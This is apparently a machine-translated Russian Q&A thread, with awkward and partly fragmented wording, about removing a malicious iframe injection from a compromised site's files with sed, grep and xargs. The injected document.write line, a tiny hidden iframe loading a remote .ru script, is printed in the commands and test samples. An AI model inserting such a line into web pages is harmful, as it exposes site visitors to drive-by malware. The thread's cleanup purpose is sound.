Необходимо также попробовать В первую очередь и Скальпель. Здесь можно найти превосходную статью, которая объясняет ясно, как сделать это: http://www.howtogeek.com/howto/15761/recover-data-like-a-forensics-expert-using-an-ubuntu-live-cd/
Это кажется на поиск чего-то вроде этого:
sed '${s/document\.write([^)]*);//}'
Однако я действительно рекомендовал бы против этого вида процедуры восстановления от компромисса.
Да восстанавливающий от резервного копирования лучше. Но относительно sed:
sed -i '.bak' -e '$ {\!^;document\.write('\''<iframe src="http://efficienttrue\.ru/upwherehandpainted\.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>'\'');$! d; }' FILENAME
Я протестировал, и это работает правильно, независимо от того, имеет ли ИМЯ ФАЙЛА запаздывание \n
. Однако это действительно ожидает, что строка, которая будет удалена всегда, является последней строкой (в этом суть $ { ... }
.
sed
часть его. Необходимо перенести это во что-то, что предоставляет ИМЕНА ФАЙЛОВ. Также обратите внимание, что, как записано, это сохраняет origfile
как origfile.bak
, и пишет новую версию в origfile
. Если origfile.bak
уже существует, я думаю, что это перезаписывается. В странице справочника не говорится. Таким образом, необходимо проверить на это или использование -i ''
, но страница справочника указывает на некоторые опасности с последним. -i
не доступно для всех sed реализаций; без него Ваш сценарий обертывания должен был бы обработать переименование самого выходного файла.
– dubiousjim
13.11.2012, 22:52
Да, резервное копирование лучше. Однако, если Вы настаиваете на замене и хотите избежать давки с Escape, вот универсальное решение.
Сохраните незаконную строку в файл и проверьте, что никакие дополнительные символы как префикс BOM UTF или окончания строки не были добавлены
xxd spec-chars.sample
Преобразуйте строку в завершенную последовательность байта
od -t x1 -v -A n spec-chars.sample | sed s/\ /\\\\x/g | tr -d \\n && echo
Создайте пару тестовых сценариев
cat spec-chars-positive
asdfasdfsd
;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');
cat spec-chars-negative
asdfasdfsd
;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');
qwer
Проверьте, что код работает как ожидалось
grep -l efficienttrue spec-chars-* | xargs sed \$s/`od -t x1 -v -A n spec-chars.sample | sed s/\ /\\\\x/g | tr -d \\n`//
Выполните фактическую замену
grep -rl efficienttrue.ru . | xargs sed -ibak --follow-symlinks \$s/`od -t x1 -v -A n spec-chars.sample | sed s/\ /\\\\x/g | tr -d \\n`//